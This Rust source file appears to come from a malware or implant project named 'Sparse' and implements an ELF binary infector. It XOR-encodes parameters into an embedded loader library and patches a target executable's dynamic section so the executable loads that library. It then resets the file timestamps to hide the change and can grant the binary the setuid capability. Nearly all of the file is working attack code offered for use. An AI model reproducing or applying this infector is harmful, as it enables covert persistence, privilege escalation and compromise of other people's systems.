327 lines
10 KiB
Rust
327 lines
10 KiB
Rust
use std::{
|
|
io::{prelude::*, Error, SeekFrom},
|
|
os::{fd::AsRawFd, unix::fs::MetadataExt},
|
|
path::Path,
|
|
slice,
|
|
};
|
|
|
|
use sparse_actions::payload_types::XOR_KEY;
|
|
|
|
mod elf_types;
|
|
use elf_types::*;
|
|
|
|
#[cfg(not(debug_assertions))]
|
|
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LOADER"));
|
|
#[cfg(all(debug_assertions, target_os = "linux"))]
|
|
pub const SPARSE_LIBRARY: &'static [u8] =
|
|
include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-linux.so");
|
|
#[cfg(all(debug_assertions, target_os = "freebsd"))]
|
|
pub const SPARSE_LIBRARY: &'static [u8] =
|
|
include_bytes!("../../unix-loader/zig-out/lib/libunix-loader-freebsd.so");
|
|
|
|
pub fn infect_elf_binary<BP, LP>(
|
|
binary_path: BP,
|
|
target_library_path: LP,
|
|
mut sparse_parameters: Vec<u8>,
|
|
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
|
) -> Result<(), Error>
|
|
where
|
|
BP: AsRef<Path>,
|
|
LP: AsRef<Path>,
|
|
{
|
|
let mut sparse_library = SPARSE_LIBRARY.to_vec();
|
|
|
|
for b in sparse_parameters.iter_mut() {
|
|
*b = *b ^ (XOR_KEY as u8);
|
|
}
|
|
|
|
for i in 0..(sparse_library.len() - sparse_parameters.len()) {
|
|
if sparse_library[i..(i+256)] == *b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" {
|
|
sparse_library[i..(i+256)].copy_from_slice(&vec![0; 256]);
|
|
let tlp = target_library_path
|
|
.as_ref()
|
|
.to_str()
|
|
.expect("invalid path provided for library")
|
|
.to_owned();
|
|
sparse_library[i..(i+tlp.len())].copy_from_slice(tlp.as_bytes());
|
|
}
|
|
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
|
|
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
|
|
}
|
|
}
|
|
|
|
std::fs::write(&target_library_path, sparse_library)?;
|
|
|
|
let metadata = std::fs::metadata(&binary_path)?;
|
|
|
|
let mut binary = std::fs::OpenOptions::new()
|
|
.read(true)
|
|
.write(true)
|
|
.truncate(false)
|
|
.open(&binary_path)
|
|
.expect("Could not open binary path for infecting");
|
|
|
|
binary.seek(SeekFrom::End(0))?;
|
|
let end = binary.stream_position()?;
|
|
binary.seek(SeekFrom::Start(0))?;
|
|
|
|
let mut binary_data = Vec::with_capacity(end as usize);
|
|
binary.read_to_end(&mut binary_data)?;
|
|
|
|
let header: &Elf_Hdr = unsafe { &*(binary_data.as_ptr() as *const Elf_Hdr) };
|
|
|
|
let Some(isa) = header.isa() else {
|
|
panic!("Unknown binary type");
|
|
};
|
|
|
|
if let ElfIsa::Amd64 = isa {
|
|
cfg_if::cfg_if! {
|
|
if #[cfg(target_os = "linux")] {
|
|
infect_64bit_elf_binary(
|
|
target_library_path,
|
|
&mut binary,
|
|
binary_data,
|
|
add_setuid_capability,
|
|
)?;
|
|
} else {
|
|
infect_64bit_elf_binary(
|
|
target_library_path,
|
|
&mut binary,
|
|
binary_data
|
|
)?;
|
|
}
|
|
}
|
|
|
|
let access_time = libc::timespec {
|
|
tv_sec: metadata.atime(),
|
|
tv_nsec: metadata.atime_nsec(),
|
|
};
|
|
let modify_time = libc::timespec {
|
|
tv_sec: metadata.mtime(),
|
|
tv_nsec: metadata.mtime_nsec(),
|
|
};
|
|
|
|
unsafe {
|
|
libc::futimens(binary.as_raw_fd(), [access_time, modify_time].as_ptr());
|
|
}
|
|
|
|
Ok(())
|
|
} else {
|
|
eprintln!("Sparse is only compiled for 64 bit Linux");
|
|
Ok(())
|
|
}
|
|
}
|
|
|
|
fn infect_64bit_elf_binary<LP, F>(
|
|
library_path: LP,
|
|
binary: &mut F,
|
|
mut binary_data: Vec<u8>,
|
|
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
|
) -> Result<(), Error>
|
|
where
|
|
LP: AsRef<Path>,
|
|
F: Read + Write + Seek + AsRawFd,
|
|
{
|
|
let Some(library_name) = library_path.as_ref().file_name() else {
|
|
eprintln!("Library name does not contain a valid file path!");
|
|
panic!();
|
|
};
|
|
|
|
let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) };
|
|
let x64_header = unsafe { &mut header.rest.bit64 };
|
|
|
|
let section_headers = unsafe {
|
|
slice::from_raw_parts_mut::<SectionHeader_64bit>(
|
|
binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _,
|
|
x64_header.e_shnum as usize,
|
|
)
|
|
};
|
|
|
|
let program_headers = unsafe {
|
|
slice::from_raw_parts_mut::<ProgramHeader_64bit>(
|
|
binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _,
|
|
x64_header.e_phnum as usize,
|
|
)
|
|
};
|
|
|
|
let Some(stack_ph) = program_headers
|
|
.iter()
|
|
.position(|ph| ph.p_type == 0x6474e551 /* PT_GNU_STACK */)
|
|
else {
|
|
eprintln!("ELF is protected against stack exploitation! Find one that isn't");
|
|
panic!();
|
|
};
|
|
|
|
let Some(dynamic_sh) = section_headers.iter().find(|sh| sh.sh_type == 0x06) else {
|
|
eprintln!("ELF is not a dynamic executable!");
|
|
panic!();
|
|
};
|
|
|
|
let dynamic_offset = dynamic_sh.sh_offset as usize;
|
|
let dynamic_size = dynamic_sh.sh_size as usize / std::mem::size_of::<DTEntry>();
|
|
|
|
let dynamic_sections = unsafe {
|
|
slice::from_raw_parts_mut::<DTEntry>(
|
|
binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _,
|
|
dynamic_size,
|
|
)
|
|
};
|
|
|
|
let Some(dynstr_addr) = dynamic_sections
|
|
.iter()
|
|
.find_map(|dt| Some(dt.d_val).filter(|_| dt.d_tag == 0x05 /* DT_STRTAB */))
|
|
else {
|
|
eprintln!("Could not find dynamic strings! (1)");
|
|
panic!();
|
|
};
|
|
|
|
let Some(dynstr_sh_idx) = section_headers
|
|
.iter()
|
|
.position(|sh| sh.sh_addr == dynstr_addr)
|
|
else {
|
|
eprintln!("Could not find dynamic strings!");
|
|
panic!();
|
|
};
|
|
|
|
let dynstr_sh = section_headers[dynstr_sh_idx];
|
|
|
|
let dynstr_offset = dynstr_sh.sh_offset as usize;
|
|
let dynstr_size = dynstr_sh.sh_size as usize;
|
|
|
|
let mut dynstr_bytes = binary_data[dynstr_offset..dynstr_offset + dynstr_size].to_vec();
|
|
|
|
let lp_pointer = dynstr_bytes.len();
|
|
dynstr_bytes.extend(library_name.as_encoded_bytes());
|
|
dynstr_bytes.extend(b"\0");
|
|
|
|
let Some(last_record) = dynamic_sections
|
|
.iter()
|
|
.position(|dt| dt.d_tag == 0x00 && dt.d_val == 0x00)
|
|
else {
|
|
eprintln!("Could not find last dynamic table entry!");
|
|
panic!();
|
|
};
|
|
|
|
let Some(last_needed_record_pos) = dynamic_sections.iter().position(|dt| dt.d_tag != 0x01)
|
|
else {
|
|
eprintln!("Could not find a non dynamic entry in dt");
|
|
panic!();
|
|
};
|
|
|
|
if last_record == dynamic_sections.len() - 1 {
|
|
// we need to make a new section and update the global offset table
|
|
// ...or just crash for now...
|
|
// eprintln!("lol");
|
|
eprintln!("Dynamic section is too small!");
|
|
unimplemented!();
|
|
} else {
|
|
for pos in (last_needed_record_pos..=last_record).rev() {
|
|
dynamic_sections[pos + 1].d_tag = dynamic_sections[pos].d_tag;
|
|
dynamic_sections[pos + 1].d_val = dynamic_sections[pos].d_val;
|
|
}
|
|
|
|
dynamic_sections[last_needed_record_pos].d_tag = 0x01; // DT_NEEDED
|
|
dynamic_sections[last_needed_record_pos].d_val = lp_pointer as u64;
|
|
}
|
|
|
|
let curr_len = binary_data.len();
|
|
let target_pad = curr_len + (0x1000 - (curr_len % 0x1000));
|
|
let to_pad = target_pad - curr_len;
|
|
|
|
binary_data.extend(vec![0u8; to_pad]);
|
|
|
|
let dynstr_ptr = binary_data.len();
|
|
|
|
println!("{dynstr_ptr:X}");
|
|
println!("{to_pad:X}");
|
|
|
|
binary_data.extend(&dynstr_bytes);
|
|
|
|
let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) };
|
|
let x64_header = unsafe { &mut header.rest.bit64 };
|
|
|
|
let section_headers = unsafe {
|
|
slice::from_raw_parts_mut::<SectionHeader_64bit>(
|
|
binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _,
|
|
x64_header.e_shnum as usize,
|
|
)
|
|
};
|
|
|
|
let program_headers = unsafe {
|
|
slice::from_raw_parts_mut::<ProgramHeader_64bit>(
|
|
binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _,
|
|
x64_header.e_phnum as usize,
|
|
)
|
|
};
|
|
|
|
let dynamic_sections = unsafe {
|
|
slice::from_raw_parts_mut::<DTEntry>(
|
|
binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _,
|
|
dynamic_size,
|
|
)
|
|
};
|
|
|
|
let Some(new_address) = program_headers
|
|
.iter()
|
|
.filter_map(|ph| Some(ph.p_vaddr).filter(|_| ph.p_type == 0x1 /* PT_LOAD */))
|
|
.max()
|
|
else {
|
|
eprintln!("Could not find address space to store new symbol strings");
|
|
panic!();
|
|
};
|
|
|
|
let new_address = new_address + 0x2000 - (new_address % 0x1000);
|
|
|
|
let Some(dt_strtab) = dynamic_sections
|
|
.iter_mut()
|
|
.find(|dt| dt.d_tag == 0x05 /* DT_STRTAB */)
|
|
else {
|
|
eprintln!("Could not find dynamic strings! (1)");
|
|
panic!();
|
|
};
|
|
|
|
dt_strtab.d_val = new_address as u64;
|
|
|
|
section_headers[dynstr_sh_idx].sh_offset = dynstr_ptr as u64;
|
|
section_headers[dynstr_sh_idx].sh_size = dynstr_bytes.len() as u64;
|
|
section_headers[dynstr_sh_idx].sh_addr = new_address as u64;
|
|
|
|
program_headers[stack_ph].p_type = 0x1; // PT_LOAD
|
|
program_headers[stack_ph].p_flags = 0x4 | 0x6; // PF_R | PF_W
|
|
program_headers[stack_ph].p_offset = dynstr_ptr as u64;
|
|
program_headers[stack_ph].p_vaddr = new_address as u64;
|
|
program_headers[stack_ph].p_paddr = new_address as u64;
|
|
program_headers[stack_ph].p_filesz = dynstr_bytes.len() as u64;
|
|
program_headers[stack_ph].p_memsz = dynstr_bytes.len() as u64;
|
|
program_headers[stack_ph].p_align = 0x1000;
|
|
|
|
binary.seek(SeekFrom::Start(0))?;
|
|
binary.write(&binary_data)?;
|
|
|
|
#[cfg(target_os = "linux")]
|
|
if add_setuid_capability {
|
|
use libc::c_int;
|
|
|
|
type CapT = libc::c_void;
|
|
|
|
unsafe extern "C" {
|
|
fn cap_free(cap: *mut CapT) -> c_int;
|
|
fn cap_set_fd(fd: c_int, cap: *mut CapT) -> c_int;
|
|
fn cap_from_text(caps: *const libc::c_char) -> *mut CapT;
|
|
}
|
|
|
|
// CAP_SETUID is 7
|
|
// CAP_NET_RAW is 13
|
|
// CAP_SETFCAP is 31
|
|
// CAP_FOWNER is 3
|
|
|
|
unsafe {
|
|
let current_caps = cap_from_text(c"cap_setuid=eip".as_ptr());
|
|
cap_set_fd(binary.as_raw_fd(), current_caps);
|
|
cap_free(current_caps);
|
|
}
|
|
}
|
|
|
|
Ok(())
|
|
}
|